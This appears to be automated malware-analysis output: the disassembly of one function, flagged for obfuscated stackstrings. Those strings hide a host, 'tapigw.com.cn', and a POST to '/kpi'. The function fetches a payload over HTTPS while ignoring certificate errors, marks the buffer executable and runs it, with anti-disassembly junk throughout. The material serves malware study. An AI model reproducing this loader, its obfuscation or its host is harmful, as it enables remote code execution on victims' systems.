Function at 0x40a3b7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x5e], 0x74
mov byte [ebp - 0x5d], 0
mov byte [ebp - 0x5c], 0x61
mov byte [ebp - 0x5b], 0
mov byte [ebp - 0x5a], 0x70
mov byte [ebp - 0x59], 0
mov byte [ebp - 0x58], 0x69
mov byte [ebp - 0x57], 0
mov byte [ebp - 0x56], 0x67
mov byte [ebp - 0x55], 0
mov byte [ebp - 0x54], 0x77
mov byte [ebp - 0x53], 0
mov byte [ebp - 0x52], 0x2e
mov byte [ebp - 0x51], 0
mov byte [ebp - 0x50], 0x63
mov byte [ebp - 0x4f], 0
mov byte [ebp - 0x4e], 0x6f
mov byte [ebp - 0x4d], 0
mov byte [ebp - 0x4c], 0x6d
mov byte [ebp - 0x4b], 0
mov byte [ebp - 0x4a], 0x2e
mov byte [ebp - 0x49], 0
mov byte [ebp - 0x48], 0x63
mov byte [ebp - 0x47], 0
mov byte [ebp - 0x46], 0x6e
mov byte [ebp - 0x45], 0
mov byte [ebp - 0x44], 0
mov byte [ebp - 0x43], 0
mov byte [ebp - 0x34], 0x2f
mov byte [ebp - 0x33], 0
mov byte [ebp - 0x32], 0x6b
mov byte [ebp - 0x31], 0
mov byte [ebp - 0x30], 0x70
mov byte [ebp - 0x2f], 0
mov byte [ebp - 0x2e], 0x69
mov byte [ebp - 0x2d], 0
mov byte [ebp - 0x2c], 0
mov byte [ebp - 0x2b], 0
mov byte [ebp - 0x40], 0x50
mov byte [ebp - 0x3f], 0
mov byte [ebp - 0x3e], 0x4f
mov byte [ebp - 0x3d], 0
mov byte [ebp - 0x3c], 0x53
mov byte [ebp - 0x3b], 0
mov byte [ebp - 0x3a], 0x54
push esp
mov byte [ebp - 0x39], 0
mov byte [ebp - 0x38], 0
mov byte [ebp - 0x37], 0
nop
nop
nop
pushal
jmp 0x40a4b1
popal
je 0x40a4c0
jne 0x40a4c0
push 0x654c6c45
ja 0x40a52c
push edx
insb byte es:[edi], dx
inc esp
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x40a4c9
je 0x40a4ca
invalid
pop ebx
push 0x100
push 0
lea edx, [ebp - 0x2d8]
push edx
call fcn.00409947
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
call fcn.00409f87
add esp, 4
test eax, eax
jne 0x40a4f8
xor eax, eax
jmp 0x40abd7
call 0x40a4fe
xor dword [esi], 0xffffff83
add al, 0x24
or bl, al
jmp 0x40a508
jle 0x40a515
jg 0x40a515
call fcn.0040a701
add byte [ebx + 0x24048336], al
call 0x40a51b
xor dword [esi], 0xffffff83
add al, 0x24
or bl, al
jmp 0x40a525
jmp 0x40a528
jmp 0x40a52b
jle 0x40a538
mov es, word [edi]
add byte [eax], al
add byte [edi], cl
pop dword [ecx]
add byte [eax], al
add al, ch
jg 0x40a538
call 0x975da4
add byte [ebx - 0x17aef7b3], cl
jno 0x40a53d
push 0x56b8
mov ecx, dword [ebp + 8]
push ecx
call fcn.00409eb7
add esp, 8
test eax, eax
jne 0x40a554
invalid
xor eax, eax
jmp 0x40abd7
call 0x40a55a
xor dword [esi], 0xffffff83
add al, 0x24
or bl, al
push 4
push 0x3000
push 0x100000
push 0
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x174]
call eax
mov dword [ebp - 0x14], eax
push 0x100000
push 0
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00409947
add esp, 0xc
cmp dword [ebp - 0x14], 0
jne 0x40a59d
xor eax, eax
jmp 0x40abd7
push 0x7dc8
mov edx, dword [ebp + 8]
push edx
call fcn.00409eb7
add esp, 8
test eax, eax
jne 0x40a5b9
pop es
xor eax, eax
jmp 0x40abd7
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x40a5c2
je 0x40a5c3
invalid
pop ebx
call 0x40a5ca
xor dword [esi], 0xffffff83
add al, 0x24
or bl, al
call 0x40a5d7
xor dword [esi], 0xffffff83
add al, 0x24
or bl, al
jmp 0x40a5e1
jmp 0x40a5e4
jmp 0x40a5e7
call 0x40a5ed
xor dword [esi], 0xffffff83
add al, 0x24
or bl, al
call 0x40a5fa
xor dword [esi], 0xffffff83
add al, 0x24
or bl, al
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x1a0]
call ecx
mov dword [ebp - 0x20], eax
jle 0x40a626
jg 0x40a626
call 0xab5b29e
je 0x40a634
jne 0x40a634
push 0x654c6c45
ja 0x40a6a0
push edx
insb byte es:[edi], dx
inc esp
jmp 0x40a637
jmp 0x40a63a
jmp 0x40a63d
jmp 0x40a640
jmp 0x40a643
jmp 0x40a646
cmp dword [ebp - 0x20], 0
je 0x40a66c
push 0
push 0x1bb
lea edx, [ebp - 0xa8]
push edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x1a4]
call edx
mov dword [ebp - 0x1c], eax
call 0x40a672
xor dword [esi], 0xffffff83
add al, 0x24
or bl, al
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x40a682
je 0x40a683
invalid
pop ebx
jle 0x40a691
jg 0x40a691
call 0x4834a4
add byte [eax], al
jle 0x40a69e
jg 0x40a69e
call 0x861bd9f5
invalid
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x40a6a7
fild dword [ebp + 0x740275db]
add edi, eax
je 0x40a6a8
invalid
pop ebx
cmp dword [ebp - 0x1c], 0
je 0x40a6d4
push 0x800000
push 0
push 0
push 0
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x1a8]
call ecx
mov dword [ebp - 8], eax
jmp 0x40a6d7
call 0x40a6dd
xor dword [esi], 0xffffff83
add al, 0x24
or bl, al
jle 0x40a6f1
jg 0x40a6f1
call 0x861bda48
invalid
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x40a6fa
je 0x40a6fb
invalid
pop ebx
jmp 0x40a6ff
jmp 0x40a702
jmp 0x40a705
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x40a70e
je 0x40a70f
invalid
pop ebx
jle 0x40a71d
jg 0x40a71d
call 0x13924a4
cmp dword [ebp - 8], 0
je 0x40a746
push 0
push 0x14
push 0x14
lea edx, [ebp - 0x1d8]
push edx
push 0
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x1ac]
call edx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40a793
mov dword [ebp - 0xc0], 0x3300
push 4
lea eax, [ebp - 0xc0]
push eax
push 0x1f
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x1b0]
call eax
push 0
push 0x14
push 0x14
lea ecx, [ebp - 0x1d8]
sub dh, bh
invalid
call dword [ecx + 0x6a]
add byte [edx], ch
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x1ac]
call ecx
mov dword [ebp - 0x10], eax
call 0x40a799
xor dword [esi], 0xffffff83
add al, 0x24
or bl, al
call 0x40a7a6
xor dword [esi], 0xffffff83
add al, 0x24
or bl, al
je 0x40a7bb
jne 0x40a7bb
push 0x654c6c45
ja 0x40a827
push edx
insb byte es:[edi], dx
inc esp
jmp 0x40a7be
jle 0x40a7cb
jg 0x40a7cb
call 0x4835de
add byte [eax], al
add bh, bh
ror dword [ecx - 0x71f00fbb], 1
mov es, word [edi]
add byte [eax], al
add byte [edi], cl
pop dword [ecx]
add byte [eax], al
add al, ch
nop
nop
nop
pushal
jmp 0x40a94b
popal
jmp 0x40a94f
jmp 0x40a952
jmp 0x40a955
jmp 0x40a958
jmp 0x40a95b
jmp 0x40a95e
cmp dword [ebp - 8], 0
je 0x40a973
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x1c0]
call eax
cmp dword [ebp - 0x1c], 0
je 0x40a988
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x1c0]
call eax
cmp dword [ebp - 0x20], 0
je 0x40a99d
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x1c0]
call eax
call 0x40a9a3
xor dword [esi], 0xffffff83
add al, 0x24
or bl, al
lea ecx, [ebp - 0xd4]
push ecx
call fcn.00409987
add esp, 4
push eax
lea edx, [ebp - 0xd4]
push edx
lea eax, [ebp - 0x2d8]
push eax
call fcn.004099c7
add esp, 0xc
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x40a9d9
je 0x40a9da
invalid
pop ebx
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x40a9e4
je 0x40a9e5
invalid
pop ebx
nop
nop
nop
pushal
jmp 0x40aa20
popal
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x40aa2a
je 0x40aa2b
invalid
pop ebx
jmp 0x40aa2f
nop
nop
nop
pushal
jmp 0x40aa69
popal
je 0x40aa78
jne 0x40aa78
push 0x654c6c45
ja 0x40aae4
push edx
insb byte es:[edi], dx
inc esp
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x14]
push edx
lea eax, [ebp - 0x2d8]
push eax
call fcn.00409d77
add esp, 0xc
je 0x40aa9d
jne 0x40aa9d
push 0x654c6c45
ja 0x40ab09
push edx
insb byte es:[edi], dx
inc esp
jle 0x40aaaa
jg 0x40aaaa
call 0x861bde01
invalid
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x40aab3
je 0x40aab4
invalid
pop ebx
jmp 0x40aab8
jmp 0x40aabb
jmp 0x40aabe
jmp 0x40aac1
push 0x56b8
mov ecx, dword [ebp + 8]
push ecx
call fcn.00409eb7
add esp, 8
test eax, eax
jne 0x40aadd
xor eax, eax
jmp 0x40abd7
jle 0x40aaea
jg 0x40aaea
pop dword [ecx]
add byte [eax], al
add al, ch
call 0xec28acd9
add eax, ebp
jmp 0x40aaed
jmp 0x40aaf0
jmp 0x40aaf3
jle 0x40ab00
jg 0x40ab00
call 0xec28acef
add eax, ebp
jmp 0x40ab03
jmp 0x40ab06
jmp 0x40ab09
lea edx, [ebp - 0xd8]
push edx
push 0x40
push 0x100000
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x17c]
call edx
test eax, eax
jne 0x40ab31
xor eax, eax
jmp 0x40abd7
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc4], eax
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x40ab43
je 0x40ab44
invalid
pop ebx
jle 0x40ab52
jg 0x40ab52
call 0xff7d4155
invalid
call dword [ebp - 0xc4]
jmp 0x40ab5b
jmp 0x40ab5e
jmp 0x40ab61
call 0x40ab67
xor dword [esi], 0xffffff83
add al, 0x24
or bl, al
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x40ab77
je 0x40ab78
invalid
pop ebx
push ebx
xor ebx, ebx
test ebx, ebx
jne 0x40ab82
je 0x40ab83
invalid
pop ebx
jmp 0x40ab87
jmp 0x40ab8a
jmp fcn.0040ab8d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret